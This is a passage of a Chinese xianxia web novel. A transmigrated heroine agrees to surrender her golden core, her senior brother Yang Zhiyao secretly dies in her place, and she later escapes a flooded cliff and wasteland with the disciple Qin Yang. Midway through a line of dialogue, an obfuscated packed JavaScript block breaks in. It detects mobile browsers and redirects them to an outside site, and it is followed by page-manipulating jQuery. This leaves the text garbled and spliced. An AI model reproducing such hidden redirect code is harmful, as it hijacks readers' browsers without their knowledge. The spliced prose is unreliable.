周芜也想起来了:“我也听说过那位长老,他上次将一位不能修炼的凡间帝王带上了修炼一途,我们只要效仿他,找一颗金丹,请孙长老换到小满身上不就行了吗?” 林征沉声道:“那位孙长老十分邪门,所创秘术也是奇诡莫测,那换丹之术虽说有过成功的先例,但更多的人是直接死在了换丹过程中。” “那我就这么等死吗?”林芷满冷嗤一声,“我宁愿换丹时死去,也不想看着自己一天天变老,数着日子等死。” 看着她眼里的偏执,林征叹息一声:“可就算要换丹,也要先找到一个愿意将金丹换给你的人,万不能像那位孙长老一样,坑蒙拐骗些不知实情的弟子。” “这不是现成就有一个吗?”林芷满笑吟吟地看向对面的人,眼底闪着毒蛇般阴冷的光,“我听说你刚好是金丹后期,不知道你愿意将那颗本就属于我的金丹还给我啊?” 三人的目光齐齐射过来,林子满怔了怔。 失去金丹,她就会重新变回一个普通人,情况更坏的话,她会直接死在换丹过程中,可看着周芜眼里的期待,她苦笑着点了点头。 不过物归原主罢了,她又有什么资格谈愿不愿意呢? 25. 往事(六) 月上中天,林子满透过地牢里的窗户,看向外面那轮皎皎圆月。 今晚或许就是她最后一次看到月亮了。 一切已准备就绪,神意门的孙长老今晚已住进了上阳宗的客房里,明日她就要剖金丹换给林芷满。 为防止她逃跑,还特意将她关进了地牢。 也是实在很没必要,林子满自嘲地笑笑,她既然答应了就不会反悔。 虽说沦为了阶下囚,林子满的待遇也还不差,灵力虽被封,倒也没人来趁机刁难她。 看来平时没仗着身份地位耍威风还是对的,至少现在没人来痛打落水狗。 林子满正被自己的比喻逗的发笑,杨之曜从门外走了进来,蹙眉看着她,像是不太理解:“都这样了你还笑得出来?” 林子满一怔,又惊又喜地看着他,紧走几步迎上前去,想要问问他闭关闭得怎么样,体内的妖火可曾压制住了? 行至半路却猛地一顿,脚底如生了根一般,再也迈不动半步。 ——他既然会出现在这里,定然是已经知道了来龙去脉,知道了她并不是真正的林芷满。 他会怎么想呢? 林子满突然有些害怕,他也会像林征跟周芜一样,将她当成抢占别人身体的邪魔歪道吗? “你怎么来了?”林子满嗫嚅着开口,有些不敢看他的眼睛。 “我怎么来了?”杨之曜被气笑了,语气里带着压抑不住的怒火,“若我不来,是不是连你最后一面都见不到了?” 林子满低着头不说话。 沉默须臾,杨之曜疲惫地叹了口气:“抱歉,我不该对你发火。” 他走到林子满身旁坐下,靠墙平息着微喘:“但是师妹,你不能这样对我的,若我再晚出关一日……”说着像是无法忍受般闭了闭眼,“你让我怎么办才好?” 林子满勉强笑了笑:“不过是剖丹而已,又不是一定会死。” “你!咳咳咳——”杨之曜急怒交加,一口气堵在胸口,连连咳嗽起来。 林子满看着他脸上病态的红晕,心里一慌,赶忙拉过他的手。 感受着指尖下微弱的脉搏,林子满的心一点点沉了下去。 “怎么会这样?”她的声音颤抖起来,几乎变了调,“时长老不是说只要炼化妖丹就无碍了吗?为什么会没用?” “怎么会没用呢?至少我体内的妖火已经完全拔除。”杨之曜反手握住她,“不过是伤了经脉,需要好好修养一阵。” “你别骗我了,我又不是傻子。” 那样无力的脉搏,以后怕是连剑都提不动了。 林子满将头埋在膝盖上,闷声道:“都怪我,如果不是我多管闲事,你也不会变成这样。” “行了,先别说我了,现在要紧的是你的事。”杨之曜岔开话题,“说说吧,到底怎么回事?怎么几日不见你就将自己弄成了这样?” 提到这个话题,林子满有些不知该如何开口,许多话涌到嘴边又咽了下去,最后只能装作无所谓地撇撇嘴:“就是他们说的那样啊,我抢了别人的身体,是鸠占鹊巢的邪魔歪道。” “林芷满!”杨之曜严厉地叫了她一声。 林子满看着他:“师兄,我不是林芷满,是真的,不然我不会认的。” “不管是真是假,你也不能这样妄自菲薄,相识相知几十年,我不信你是那样的人。” “为什么不信?爹爹和阿娘……哦不对,如今不能喊他们爹娘了。”林子满顿了顿,斟酌着换了称呼,“嗯……你师父师娘,他们都信,你为什么不信?” 杨之曜沉默片刻,想起过往种种,脸上不自觉柔和了几分:“我不知道具体发生了什么,我只知道小时候,我刚入宗门,初学御剑一头撞在树上,那个躲在漫天花瓣后面偷笑的女孩是你。与我一同长大、四处历练的师妹是你。互通心意、共许白头的爱人也是你。我从来没有见过真正的林芷满,出现在我生命中的一直都是你,只是你。” 鼻头一酸,眼泪涌了上来,林子满揉揉眼睛,愤愤道:“你别污蔑我,谁躲着偷笑了,我明明是光明正大地笑好吧?” 杨之曜无奈地笑了笑:“好好好,你光明正大嘲笑我你还挺有理。” “跟我讲讲吧,你的来历。”说着转头瞪了她一眼,“不许拿什么邪魔歪道来糊弄我。” 行吧,林子满叹了口气,一副拿他没什么办法的样子。 理了理思绪,她将自己曾经的身世娓娓道来,平静地讲述了自己的死亡,又是怎么来到的这个世界。 语毕,林子满问他:“听起来是不是很匪夷所思?是不是很像在编故事?” 杨之曜:“世界之大,无奇不有,世上多的是我等不知道的事。” “对了,还有一件很巧的事,我一直没跟你说过。”林子满想到什么,“其实在我原来那个世界,有一个跟你长得很像的人,他还是个大明星呢,我有好多同学都喜欢他。” 杨之曜:“什么是大明星?” “嗯……怎么说呢。”林子满组织着措辞,“就是像星星一样,很耀眼,被很多人喜欢的人。你就是这里的大明星啊,很多人都喜欢你,景仰你。” 杨之曜皱眉:“你也喜欢他?” “我喜欢他干吗?我就见过他一次。”林子满好笑,“那时候我去看病,在医馆外的花园里碰到他的。但他奇奇怪怪的,一开始激动地看着我,朝我跑过来,像是认识我一样,然后突然又愣在原地,一脸冷漠地走开了,弄得我莫名其妙,也不知道是不是因为认错人了。” 在这个世界待了几十年,再说起那个世界发生过的事,感觉如梦一般,虚幻又遥远。 但事实却是,这几十年不过美梦一场,那些平凡又艰难的岁月,才是她的真实。 杨之曜看了眼窗外西沉的月亮:“时间不多了,我先带你离开。” 林子满有些惊讶,虽然猜到杨之曜可能是来救她的,但他们两人,一人灵力被封,一人重伤未愈,如何能走得出这天下第一宗的地牢?她不能再拖累杨之曜了。 况且她若是就这么走了,怕是一辈子都不能心安。 “师兄,我不能走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902842|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少现在不能走,我得把欠她的东西还给她。” 杨之曜不明白:“可是你明明什么都没做过,没必要搭上自己的命!” “就算我什么都没做,可事实也是我占用了别人的身体几十年,享受了别人的人生,害得他们一家分离,害得真正的林芷满无缘仙途。”林子满笑了笑,“所以我该付出代价的。” 杨之曜气她的执拗:“就算你欠了她,也有的是其他办法偿还,何必要用这种极端的方式?换丹何其危险,稍后不慎就会死的你知道吗?!” “反正我这条命就是捡回来的,若老天想收回去,我也强留不得。”她的存在或许本就是个错误,院长妈妈不应该从垃圾桶里捡回她的,就像她不应该抱起那头小羊。 这样,就不会有人受到伤害了,每个人都会过得很好。 养父母不会有她这样的累赘,林芷满会有幸福的童年,杨之曜也会依旧是那个意气风发的天之骄子。 “你说这话是要剜我的心吗?”杨之曜赤红着双眼看她。 “师兄……我真的没办法,是我对不住你。”林子满心里也很不好受,“但你相信我,为了你,我会努力活下来的。” 父母、身份,乃至金丹她都可以还给林芷满,一身清白地离开。 但她若死了,杨之曜对她的情意却是还不清了。 林子满侧身抱住他,安抚道:“真的,我会努力活下来的,换丹成功的人也很多啊,我从小运气就好,一定可以挺过这一关的。到时候,我们就离开上阳宗,去四处游历,去做一对神仙眷侣,这不是你一直以来的愿望吗?” 杨之曜勉强笑了笑:“但你没了金丹可怎么办啊?” “其实没什么的,我原本就是个普通人,现在不过是回到我原来的样子,而且这具身体没什么毛病,比起上一世来已经好多了。”林子满轻叹一声,“只不过没有了金丹,这幅样貌就留不住了,一下变成四十多岁还真有些不习惯,跟你站在一块别人还以为我们是母子。” 说到这里林子满忍不住逗他:“好大儿,快叫声阿娘听听。” 杨之曜斜乜了她一眼,不是很懂她在乐什么。 林子满打小就有主见,杨之曜知道自己这回说服不了她,沉默片刻,他忽然问道:“我能看看你原本的模样吗?” 原本的模样吗?说起来都是几十年前的事了,林子满自己都快忘了。 她想了想:“你那支能画出心中所想的画笔呢?没有那个我可画不出来,不像你,画技精湛,我是一点儿这方面的天赋都没有。” 杨之曜无奈道:“明明是一起学画时你躲懒,天天不是睡觉就是溜出去玩。” 笔随心动,宣纸上渐渐描绘出曾经的林子满。 看着那熟悉又陌生的脸,林子满感慨:“这也算是真真正正唯一属于我的东西了。” 杨之曜不满:“那我呢?” 林子满好笑:“你又不是个东西。” 杨之曜:“……” 林子满:“……” 林子满:“我真不是在骂你。” 26. 往事(七) “说起来真有些难过,我连一个真正属于自己的名字都没有,林芷满也好,林子满也罢,都不是属于我的东西。”林子满凝神勾勒着细节,“在不属于我的身体里,用着不属于我的名字,总得记住点什么,才不会忘了自己到底是谁。” 吹过纸上未干的墨迹,她满意地点点头:“我本来长得也挺好看的嘛。” 杨之曜接过后认真端详半晌,笑道:“是长得很好看。” “那是我以前好看还是现在好看?”林子满一本正经地问出送命题。 杨之曜故作认真地沉思片刻:“我觉得我更好看。” 林子满:“……” 臭不要脸。 还无法反驳。 杨之曜好笑地看着她,捏捏她的脸,又提笔在宣纸上画了起来。 林子满好奇地凑过去:“你画什么呢?” 定睛一看,他竟是将自己画在了她旁边。 雪白的宣纸上,俊美的男子与清丽的女子并肩而立,宛若一对璧人。 林子满抚过画上的两人,轻声道:“你知道这画让我想起了什么吗?” 杨之曜:“什么?” 林子满笑了笑:“这很像我们原来那个世界的结婚照。” 杨之曜疑惑:“什么是结婚照?” “就是合籍的时候,一人会有一本结婚证,结婚证就是……嗯……就类似婚书吧,然后里面会有这么一幅两人的画。” “是么?”杨之曜笑起来,“那我再画一张,我们一人一张。” “我们还没合籍呢!你别想占我便宜啊!”林子满伸手掐了他一把,“不过以后我成了普通人,别人见你年纪轻轻,娶了个又老又丑的媳妇,肯定觉得你疯了。” “唉……”林子满故作忧郁地叹了口气,“原是我不配。” “行了啊,就你爱贫。”杨之曜笑骂道。 嘴里说着以后,但林子满心里其实还是挺没底的,她不知道剖丹过程中会发生什么,不知道自己明天会不会死。 林芷满被她占了身体,灵魂落到了一个普通人身上,曾经高高在上的宗门小姐,成了不能修炼的凡人,容貌随年岁老去,面对她这个鸠占鹊巢,依旧年轻貌美的人怎么能不恨呢? 所以林子满愿意将金丹还给她。 哪怕她一出现,与自己相处了几十年的父母就恨不得与她陌路,林子满也没有理由恨她,只能竭尽所能偿还她。 但是杨之曜呢?她扰乱了他命运的轨迹,却没有能力去挽救。 “师兄,你说为什么有的人明明不被任何人期待,她的存在也没有任何意义,却还是会来到这个世界上呢?”林子满靠在他的肩头,茫然发问。 “每个人的存在都是有意义的。”杨之曜扭头与她对视,“师妹,不要觉得自己是个错误,没有谁的存在会是个错误。就算让我选,我也还是想遇到你,哪怕我从此再也挥不动剑。” “所以不管怎样,你都要好好的,知道吗?” 林子满笑了笑:“嗯,我们都要好好的。” 当时的她以为杨之曜是在安慰自己,后来才恍然发现那是他在告别。 斜月沉沉,夜已经很深了。 杨之曜将画像仔细叠好,一张放进怀里,一张交到林子满手中,而后认真地看了林子满许久。 林子满被他看得耳根发烫,嗔怪道:“你一直这样看着我干什么,莫不成当真喜欢林芷满这张脸?” 杨之曜笑笑,一把将她拉到怀里抱住,力道大得仿佛要将她揉进身体里,许久之后才沉声道:“师妹,你要好好活着,不要怪我。” 话音一顿,声音低落了几分:“若实在是生气,恨我也没关系,你好好的就行。” 林子满听出不对,想要挣脱他的怀抱,后颈处却骤然传来一阵痛意,眼前一黑便晕了过去。 杨之曜接住她软倒的身体,恋恋不舍地看了许久,方才抱着她往地牢外走去。 ****** 春风习习,拂过柿子树上刚发出的嫩芽。 随风微摆的枝桠上站着两只小麻雀,唧唧啾啾地争论着什么。 林子满被那声音吵得头昏脑胀,按着额角坐了起来,摇了摇头晃去睡意,下一刻,晕倒前的画面在眼前闪现。 一种不详的预感萦绕在心头,她心里一慌,踉踉跄跄下床向着门口奔去,冷不丁撞到一个人,“咚”的一声险些将她又撞晕过去。 “小心——”来人扶住她的肩膀,带着她在软凳上坐下。 林子满抬头看去,是个身着白衣的俊秀少年,长着一张娃娃脸。 “吕秉清?你怎么在这儿?”林子满困惑地看着他。 “这里是我家啊。” 林子满环顾四周,这才发现屋内摆设有些眼熟:“这里是……无为峰?” “对啊。”吕秉清在桌边坐下,倒了杯茶递给她。 林子满却无心去管那杯茶,急道:“我怎么会在无为峰?我师兄呢?” 吕秉清动作一顿,有些不忍地看着她:“师姐,你别太难过了,杨师兄他……他已经不在了。” “什么叫不在了?”林子满茫然发问,脑子里一片空白,根本无法理解这句话的意思。 吕秉清不知该怎么安慰她,无措地捏紧手中茶杯。 “我问你什么叫不在了?!”林子满猛地站起来,眼眶发红地瞪着他,语气凶狠,声音却在颤抖。 吕秉清叹了口气,将事情原委一五一十道来。 末了,语气里多了丝哽咽:“昨日上阳宗传来消息,杨师兄已经……身殒了。” 林子满愣在原地,脑子仿佛锈住了。 什么叫杨之曜替她还修为与林芷满? 什么叫……他已经身殒? 林子满摇头后退:“我不信,你肯定是骗我的,肯定是骗我的……就算师兄要替我还,林芷满也不会同意的,她那么恨我,怎么会同意别人替我偿还。” “对,林芷满肯定不会同意的,你就是在骗我!”林子满眼前一亮,仿佛抓住了救命稻草。 她找出了这件事情里最大的漏洞,那这一切,肯定就都是假的! 她转身就往外走:“我要去找师兄,我要回上阳宗!” 吕秉清一把抓住她,着急道:“师姐,你不能去!现在整个修真界都知道是你抢占了林芷满的身体,多的是人想要抓了你去上阳宗邀赏,你现在出去就是自投罗网!” “那就让他们来抓我好了!”林子满狠狠甩开他的手,用力过猛一个不稳跌坐在了地上。 手里一直攥着的东西 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吕秉清摇摇头:“杨师兄开始只是当心自己的身体无法带着你走多远,才让我赶到上阳宗,一路上好有个照应。后来却突然说他还有事没做,留下一道灵识让我带你先离开,我回到永凌山以后才知道他要去做什么。” “师兄说他不一定会死,让我无论如何也要守好你。我本来存着几分侥幸,觉得师兄说的有理,毕竟那么多人都成功了啊,杨师兄那么厉害,说不定也会没事的。” “结果昨夜……”他叹息一声,再说不下去。 林子满沉默许久,心里说不清是什么感受,悲伤混含着愤怒,茫然又充斥着无助。 这算什么? 坚持要还清一切的是她,想求一个心安的也是她,可为什么付出代价的是杨之曜呢? 他不久前才在鬼门关走了一遭,好不容易将体内的妖火拔除,就因为她要将欠林芷满的还给她,他就替她还,替她去死。 他凭什么这么做? 她欠下的债她自己还,他凭什么自作主张替她啊? “凭什么啊?”林子满终是忍不住委屈地哭了起来,“你凭什么丢下我一个人啊……” 留她一人独活在世上,她该怎么办啊? 她看着手中的画像,突然发狠,猛地用力撕成两半:“留一幅画有什么用!人死了连来世都没有,我再也见不到他了,要这幅画有什么用?!” 吕秉清制住她,伸手夺过画像,高声对她说着什么,可她只能看见他的嘴在动,却什么都听不清,脑子里尽是嗡嗡声。 后来发生了些什么,她已经不太记得清了,感觉每天都浑浑噩噩的,眼泪好像流不尽。 这样的日子不知过了多久,几天还是几个月?抑或是几年? 直到某天清晨,她透过窗户,望见了山的那头,那与日落一样绚烂的朝阳,忽地想起了曾经的约定。 她从那种混沌的状态里清醒过来,收拾好行囊,带上千面妖丹,独自踏上了本该是两个人的旅途。 她也没再问过吕秉清画像的事,有些人刻在了心里,一颦一笑仿佛都在眼前,其实不需要画像的慰藉。 27. 山壁 回忆如潮水般涌来,汹涌又激烈,退去后只余满地潮湿,浸得她的心又酸又痛。 “你在哪儿看到的画像?”林子满低声问道。 “我初来永凌山那会儿,随你住在无为峰,闲来无事时会去书阁翻看剑谱,画像便是那时发现的。不过画像上设有禁制,我刚开始尝试了好多次都打不开,后来偷偷拿你的峰主令试了试,不想轻易便成功了。”秦扬说到这里,有些不好意思地摸了摸鼻子,“那时我便猜测画上的人与长老关系匪浅,所以见到‘杨师姐’的第一眼,我就起疑了。” 原来画像一直被吕秉清藏在剑谱里,还特意用她的令牌封印起来,倒也真是用心良苦。 林子满挑眉:“就算我跟画上的人有关系,也不能说明那就是我吧。” “我开始也不能确定,只是有些好奇画上人的身份,直到我看到了那个镯子。”秦扬视线下移,落在她的手腕上。 林子满抬手露出储物镯,惊讶道:“这个你也曾见过?” “那倒没有,只是不知长老可还记得与我初见时,我划破了长老一个锦囊?” 林子满恍然,那时她根据推演出来的卦象寻到他所在的村子,因灵力耗尽晕了过去,醒来却发现一个小姑娘在解她腰间的锦囊。 那是杨之曜亲手为她做的,她强撑着去抢,却被赶来的秦扬当成坏人,手起剑落,手中的锦囊被割裂成两半,紫色的花朵落了一地。 秦扬道:“我没记错的话,那花跟你的储物镯一模一样。” 林子满震惊地看着他,那时候他不过十来岁,就有如此敏锐的观察力?并且这么多年过去了还能记得这么清楚? “一朵花又能说明什么呢?这世上又不是只有我见过这花。” “若单有这花或者画像,确实不能说明什么,但两样一起出现就有些蹊跷了。”秦扬道,“巧合多了,背后往往就是真相。况且这花也确实少见,我还从未在其他地方见过。” “不过两样东西而已,你就能想这么多,若是在凡间,倒是个干捕快的好苗子,断案查罪岂非手到擒来?”林子满好笑,“我从前顶着这张脸游历时,也见过许多旧相识,还从未有人怀疑过我的身份。” 秦扬跟着笑:“我这不过是歪打正着,敢想敢猜罢了。” 他没说的是,从进秘境开始他就一直在观察周围的人,不放过任何细枝末节。 这是他第一次进得失境,林子满应该会不放心地跟来。 有了这个预设的前提,识破她的身份就容易多了。 但这话不能明着说出来,不然她一定会恼羞成怒,像之前那样拒绝他、远离他。 秦扬眸光微动,虽然不知道她到底在顾忌些什么,一直不肯承认,但至少她的心意,他已经看得明明白白了。 山洞外早已天光大亮,但厚厚的云层遮住了太阳,透着一股风雨欲来的味道。 林子满望着远方的乌云,沉声道:“我们得尽快离开这里了,否则这场大雨一下,湖水蓄涨,山洞势必会被淹。”到时候想走都走不了了。 秦扬点点头:“我刚刚出去探查过一番,四面无路。我们灵力被禁,想离开就只能沿着山壁爬上去。” 这与她昨晚的想法差不多,好在山壁上稀疏地攀着一些藤蔓,间或还扎着一两棵顽强小树,否则他们就是想爬也无处可爬。 “走吧,趁着雨还没开始下。”林子满抬头看了看仿佛没有尽头的山壁,深深地叹了口气,有些怀疑地想,这真的能爬上去吗? 但她一口气还没叹完,就听见“刺啦”一声响起。 秦扬从衣服上撕下几根布条,走到她面前半蹲下来。 “你这是做什么?”林子满不解。 秦扬示意她趴到自己的背上:“你肩上有伤,我背你上去。” 林子满一愣,有些纠结地看着他。 这山壁这么高,还没开始她就觉得右肩开始隐隐作痛了,而眼前的肩背看起来又如此宽厚可靠,充满了诱惑力,这谁能不心动? 林子满瞅了好几眼那厚实的腰背,挣扎道:“……不了吧,你背着我不好爬,我自己可以的。” 如果她真的答应了,岂不是显得她这个长老很弱很没面子? 秦扬扭头看着她:“这山壁陡峭,若失足摔下来砸在石滩上,满地的石头嵌进身体里,神仙来了也救不了。” 林子满咽了下口水,默默趴上他的背。 她觉得秦扬说的十分有道理,虽然这样挺没面子,但谁也不会想摔成一滩肉饼的对吧? 将林子满的神情收入眼底,秦扬嘴角忍不住弯了弯。 待人乖乖趴好,秦扬用布条将两人的身体牢牢缠在一起,在胸前打了个死结,而后便攀住藤蔓,往上爬去。 不得不说年轻就是好,虽然背着个人,秦扬的速度也不慢,没过多久他们就将那片石滩远远抛在了脚下。 林子满双手环在秦扬的脖子上,随着两人的动作有些不自在地偏了偏头。 ——实在是太近了。 她的鼻间萦绕着秦扬的气息,呼吸间都带着他的热度,两人的身体紧密相贴,心跳仿佛都隔着脊背撞在一起。 但她又不敢有太大的动作,怕一个不慎两人都会摔下去。 好在天上飘来细细密密的雨丝,扑在她发烫的脸上,带来阵阵凉意。 随即她意识到什么,蹙眉望向灰蒙蒙的天空,喃喃道:“下雨了。” 这石壁本就陡峭万分,如今下了雨更是雪上加霜,湿滑难爬,更何况秦扬还背着个人。 “别怕。”秦扬沉稳的声音从前面传来,“我不会让你摔下去的。” 林子满想了想,道:“你放我下来,我跟你一起爬,你背着人太危险了。” 秦扬摇了摇头,继续沉默地往上爬。 怎么就这么固执呢,林子满有些着急:“你若实在不放心,就在你我之间系一根绳子,这样就不必担心我摔下去了。” “如今我们在山壁上,如何能放你下来?你信我,我当真可以将你背上去的。”秦扬却依旧不肯。 “我们可以找棵树啊,实在不行也能先在树上歇会儿,前面就——”林子满话音一顿,视线落在不远处的一棵树上,那树上挂着个东西,看起来似乎……是个人? 仔细辨认一番,林子满声音里多了几分惊讶:“你看前面那棵树,挂在 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林子满握住他的手臂,示意他也拉住自己:“你先从树上下来,我们另寻一棵大些的树。”这生长在石壁里的树,靠着那一点点泥,长得瘦瘦巴巴,撑了这么久也是不容易。 莫叶声应了声“好”,一手拉着林子满,一手抓住蔓延在石壁上的藤蔓,挪动身体往石壁上贴去,脚刚准备从树上移开,就听见一声不妙的“吧嗒”声响起。 莫叶声:“……” 那树根紧紧抓着的一团泥巴,被雨水泡得发软发胀,在这一番动静下逐渐变形,急切地想要逃离石壁的束缚,终是坚持不住,带着那棵树一起往下落去。 莫叶声脚下一空,手中的藤蔓“咔吧”一声断掉,整个人朝下坠去。 身上陡然一重,秦扬猝不及防,手中抓住的石块一滑,被带着朝下落去。 林子满愕然看着眼前飞速划过的景色,嘴边一句脏话呼之欲出,这么离谱的事是真实存在的吗?! 秦扬面色凝重,默念几句口诀,一阵青光闪过,他掩在袖子里的五指上,指甲竟突然长长了数寸,顶端尖锐,闪着嗜血的寒芒。 他抬手对着胸前一挥,布条纷纷断裂散开。 林子满:??? 她还没反应过来发生了什么,就被秦扬抓住手臂一转,整个人被拥进了他怀里。 看出他的意图,林子满有些着急,挣扎着想要退出他的怀抱,却被秦扬死死摁住了脑袋。 “砰——” 巨大的水花在身边炸开,耳朵被水蒙住,只能隐隐听到几阵“咕咚”声,一串串白色气泡在眼前翻涌。 林子满呛了几口水,鼻腔、脑袋一阵酸痛,她难受地挣扎起来,摆动手臂想要浮上水面。 就在此时,一片温热的柔软贴上她的嘴角,唇齿相交间,一口气渡了进来。 有了新鲜的空气,脑子却越发混沌。 林子满努力掀起沉重的眼皮,只隐约看到一团青色的皮毛,在水中随波摆动,根根分明,闪着锦缎般的光泽。 她想要看清楚一些,身体却再也撑不住,眼睛一闭,彻底失去了意识。 28. 荒原 再次醒来时,眼前是一片蔚蓝的天空,没有一丝杂质的蓝,仿佛能净化人的心灵。 林子满盯着看了许久,感觉体内的灵力运转都随着那抹纯净的蓝变得平缓。 嗯?灵力运转? 林子满一个激灵,猛地反应过来,现在已经离开禁灵之地了? 她撑着身体从地上坐起来,一条手臂随着她的动作从胳膊上滑落。 林子满转头便看见了倒在一旁昏迷不醒的秦扬。 林子满:“……” 这一幕怎么如此的似曾相识? 她抓过秦扬的手腕,凝神感受了一番脉搏,而后微微松了口气。 没什么大碍,像是力竭导致的昏迷。 想起从半空跌落时的一幕幕,林子满眉心微蹙地打量着地上无知无觉的人。 ——看来秦扬身上的秘密不少啊。 她起身环顾四周,在不远处发现了趴在地上的莫叶声。 比起只是力竭的秦扬,莫叶声的情况就惨烈多了。 一身都是密密麻麻的伤口,皮肉翻卷,有几处甚至能看见白森森的骨头,伤处被水泡得发白,还在不住往外淌血,整个人几乎成了一块血豆腐。 简直惨不忍睹。 幸好现在灵力已经恢复,能及时救治,否则照这样下去,流血都能流成人干。 这孩子也真是倒霉,无缘无故被牵扯进来,现下反倒是他伤的最重。 林子满叹了口气,将人翻转过来,运气于指尖,动作迅速地将他周身几处大穴封住,勉强止住血后又从储物镯里掏出几粒丹药给他喂下。 待他气息平稳些了,林子满才低头去瞧他身上的伤。 看着那坑坑洼洼的一片,她忍不住皱起了眉,这狰狞的伤口不像是利器所伤,倒有几分像是……牙印? 是被什么东西咬的吗? 当初在山洞里时,秦扬身上也有几处这样的伤口,但这回他们俩倒是什么事都没有。 林子满拧眉沉思,她身上无伤是因为被秦扬护在怀里。 那秦扬呢?又是怎么做到安然无恙的? 林子满脑海里浮现出晕倒前看到的东西,看起来似乎是团青色的……皮毛? 那是什么?秦扬的灵宠吗?可以前从未听说他养过灵宠。 况且当时犹在禁灵之地,有灵宠也召唤不出来啊。 想了一阵也没什么头绪,林子满决定采用最简单的方法——直接问当事人。 她捏起秦扬的嘴,往里塞了颗丹药,以掌覆于他胸前,输送灵力助其发挥药效。 不多时,秦扬鸦羽般的长睫一颤,睁开了双眼。 看着正一脸严肃望着他的林子满,秦扬莫名有些心虚,一边坐起身,一边借着咳嗽垂下眼帘,遮住内里情绪,在心里盘算着自己可能露出的破绽。 当时情况危急,他顾不得太多,也不知道被发现了多少。 林子满静静地看着他的小动作,心下了然,看来他真的有不少事瞒着自己啊。 秦扬闷声咳了几下,眼珠一转,便看见周围陌生的景色。 寸草不生的土地龟裂出一道道沟壑,风一吹仿佛就要扬起漫天沙尘。 “这是哪里?”秦扬疑惑地问。 “你不知道吗?”林子满看起来比他更疑惑,“我还以为你定然知道我们身处何地。” 秦扬不解:“我为什么会知道?我此前从未来过此处。” “我们应该是被那湖水冲到了某处,那湖里有会咬人的东西,我猜是某种鱼类。”林子满下巴一扬,示意他看不远处的莫叶声,“莫师弟被啃成那样,我们两个却一点事都没有,我还以为是你知道那湖的古怪,有什么避免的法子呢。” 顶着林子满探究的目光,秦扬打了个哈哈:“可能是莫师弟体质特殊,肉格外好吃些?那些东西看不上我们俩?哈哈哈。” 他尴尬地笑了几声,一本正经地说着自己的猜测。 “是吗?”林子满似笑非笑,“昨日在山洞,我见你身上也有几处伤口,看起来跟莫师弟身上的倒是很像啊。” 秦扬故作镇定:“当时你肩膀受了伤,血腥味难免会引来些嗜血的东西,这不咬了几口就放过我们了,远不及莫师弟这幅惨状。” 林子满点点头,这样倒也说得通。 “那坠崖时,你是用什么割断绑着我们的布条?你剑术精湛,不屑于使其他武器,也就不会随身带着匕首一类的东西,而当时,你的剑没有出鞘吧?”她用的虽是问句,语气却十分笃定。 秦扬沉默不语,就算他坚持说他拔了剑,也解释不通是怎么用一柄长剑,割断紧紧缠着他们俩的布条,除非他能立马神不知鬼不觉地在自己胸前留下一道剑伤。 林子满显然也是想到了这一点,慢条斯理地帮他理了理胸前的衣裳,接着道:“而且我在昏过去前,曾看见一只青色皮毛的妖兽,据我所知,你没有契约过什么妖兽和灵宠吧?” 林子满抱臂于胸前,好整以暇地看着他,像是在看他还会编出什么说辞。 二人对视片刻,秦扬忽然道:“长老若真想知道,我自然知无不言,但我也有几件事想不太明白,能问问长老吗?” 林子满一愣:“什么?” “我在外游历的时间不长,对上阳宗知之甚少,但也听说过他们的少宗主从前叫林芷满,后来不知为何改作了林芷,她的容貌也经常在变,几乎没人见过她的真容。结合她的态度,和你对我讲的那个故事,我是不是可以猜测——”他盯着林子满的眼睛,“从前的上阳宗少主林芷满,是你?” 当初一时没控制住情绪,对秦扬讲了过往以后,林子满就知道他迟早会想通其中关窍,猜到真相也是早晚的事。 所以当下也没什么隐瞒的必要,林子满点点头,爽快地承认了。 “那长老也知道杨之曜是谁吧,当时为什么要骗我说不知道呢?当时林芷口中说着要报复的人,应该就是长老你吧?她为什么要用我来报复你呢?”秦扬顿了顿,问出了自己的猜想,“我跟杨之曜是有什么关系吗?” 一堆问题劈头盖脸地砸下来,林子满沉默了。 这不是她不想说,而是根本不知从何说起。 更何况也不能说。 过了半晌,她才低 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一望无际的荒原上,随处可见各式各样的坑,小的如海碗,大的似湖底,但放眼望去皆是干涸的,没有一丝积水。 林子满站在一个大坑旁边往里瞧,好奇这坑到底是怎么来的。 忽地,一阵微风拂过她的脸颊。 林子满疑惑四望,哪里来的风? 那风却连绵不断,一阵又一阵,从四面八方吹来,吹得荒原平地起黄沙,吹得天地间骤然失色。 大片大片的乌云集结在空中,将原本蔚蓝的天遮得看不见一丝一毫。 下一刻,豆大的雨珠噼里啪啦地砸下来,林子满赶忙撑起结界,却还是被雨打湿大半衣裙。 秦扬已经去了大半天了,怎么还没回来?林子满有些担忧地想,这荒原寸草不生,根本没法辨别方向,他不会找不到回来的路吧? 她又不能贸然去找,万一两人在路上错过,那才真是要走散了。 为今之计,便只能在这里等。 于是秦扬回来时,看到的便是这样一幕—— 白濛濛的雨幕中,华光溢彩的结界下,衣衫半湿的女子眼巴巴地望着前方,翘首期盼着,看到他出现后,明显松了口气,脸上不自觉绽出一抹笑。 秦扬霎时觉得自己的心仿佛也被这倾盆大雨淋着了,先前的怒火熄得干干净净,只剩一颗泡得发软的心。 他快步走到结界下,有些嗔怪道:“怎么穿着一身湿衣裳,不怕着凉吗?” 林子满摸摸鼻子,故作无所谓地笑笑:“我好歹是个元婴修士,哪有那么脆弱?” 其实是她敲着脑袋想了半天,也没想起来控水的咒语。 秦扬眉头一挑,似笑非笑地看着他,倒也没拆穿她,只是抬手一拂,无数细小的水珠从林子满衣裳的表面浮出,成群结队地飞到他掌心前,汇成一团。 他挥手散去凝成的水球:“就算不会着凉,黏糊糊的也不舒服。” 29. 木屋 林子满摸摸身上已经干透的衣裳,不禁赞道:“你这一手控水之术使得挺不错啊。” 秦扬心里升腾起几分得意,面上却谦逊道:“不过雕虫小技罢了,比我厉害的人多了去了。” 林子满想了想,点点头:“那倒也是。” 秦扬:“……” 夸人原来还能这么夸的吗? 忍了忍,他还是没忍住:“怎么,长老见过?” 